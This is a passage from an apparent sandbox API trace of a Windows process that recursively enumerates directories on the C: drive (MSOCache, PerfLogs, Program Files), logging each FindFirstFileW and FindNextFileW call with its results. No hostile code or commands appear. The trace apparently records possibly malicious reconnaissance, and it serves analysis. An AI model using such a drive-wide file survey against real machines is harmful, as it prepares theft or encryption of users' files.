cAlternateFileName="")) returned 1 [0052.980] GetLastError () returned 0x12 [0052.980] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.980] FindClose (in: hFindFile=0x4d8720 | out: hFindFile=0x4d8720) returned 1 [0052.981] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.981] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0117-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0052.981] GetLastError () returned 0x12 [0052.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8720 [0052.981] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.981] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0052.981] GetLastError () returned 0x12 [0052.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8760 [0052.983] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.983] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x109b3910, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x109b3910, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x249000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0052.983] GetLastError () returned 0x12 [0052.983] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd03ec950, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xd03ec950, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0052.983] GetLastError () returned 0x12 [0052.983] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb194ac00, ftCreationTime.dwHighDateTime=0x1d0cbc9, ftLastAccessTime.dwLowDateTime=0xb194ac00, ftLastAccessTime.dwHighDateTime=0x1d0cbc9, ftLastWriteTime.dwLowDateTime=0xd098fbe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x525e2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0052.983] GetLastError () returned 0x12 [0052.983] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0052.983] GetLastError () returned 0x12 [0052.983] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0052.983] FindClose (in: hFindFile=0x4d8760 | out: hFindFile=0x4d8760) returned 1 [0052.984] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0052.984] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x910d560, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x910d560, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd091f700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0052.984] GetLastError () returned 0x12 [0052.984] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd382ac0, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdd382ac0, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd091f700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0052.984] GetLastError () returned 0x12 [0052.984] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.984] GetLastError () returned 0x12 [0052.984] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.985] FindClose (in: hFindFile=0x4d8720 | out: hFindFile=0x4d8720) returned 1 [0052.985] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.985] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 1 [0052.985] GetLastError () returned 0x12 [0052.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8720 [0052.985] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.985] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce855bb0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce855bb0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd24c9f50, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x27cdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.cab", cAlternateFileName="")) returned 1 [0052.985] GetLastError () returned 0x12 [0052.985] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11d62a10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x11d62a10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.msi", cAlternateFileName="")) returned 1 [0052.985] GetLastError () returned 0x12 [0052.985] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3894afb0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x3894afb0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.xml", cAlternateFileName="")) returned 1 [0052.985] GetLastError () returned 0x12 [0052.985] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.985] GetLastError () returned 0x12 [0052.986] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.986] FindClose (in: hFindFile=0x4d8720 | out: hFindFile=0x4d8720) returned 1 [0052.986] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.986] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 0 [0052.986] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0052.986] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0052.987] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0052.987] FindClose (in: hFindFile=0x4c8c78 | out: hFindFile=0x4c8c78) returned 1 [0052.987] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0052.987] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x70ee9fe0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0052.987] GetLastError () returned 0x12 [0052.987] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0052.988] GetLastError () returned 0x12 [0052.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*" (normalized: "c:\\perflogs\\*"), lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4d8720 [0052.988] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0052.988] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Admin", cAlternateFileName="")) returned 1 [0052.988] GetLastError () returned 0x12 [0052.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*" (normalized: "c:\\perflogs\\admin\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8760 [0052.988] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.988] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.989] FindClose (in: hFindFile=0x4d8760 | out: hFindFile=0x4d8760) returned 1 [0052.989] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0052.989] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Admin", cAlternateFileName="")) returned 0 [0052.989] FindClose (in: hFindFile=0x4d8720 | out: hFindFile=0x4d8720) returned 1 [0052.989] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.989] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcb1b4f90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcb1b4f90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0052.989] GetLastError () returned 0x12 [0052.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcb1b4f90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcb1b4f90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4d8720 [0052.989] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcb1b4f90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcb1b4f90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0052.989] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0052.989] GetLastError () returned 0x12 [0052.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*" (normalized: "c:\\program files\\common files\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8760 [0052.989] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.989] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caf16c 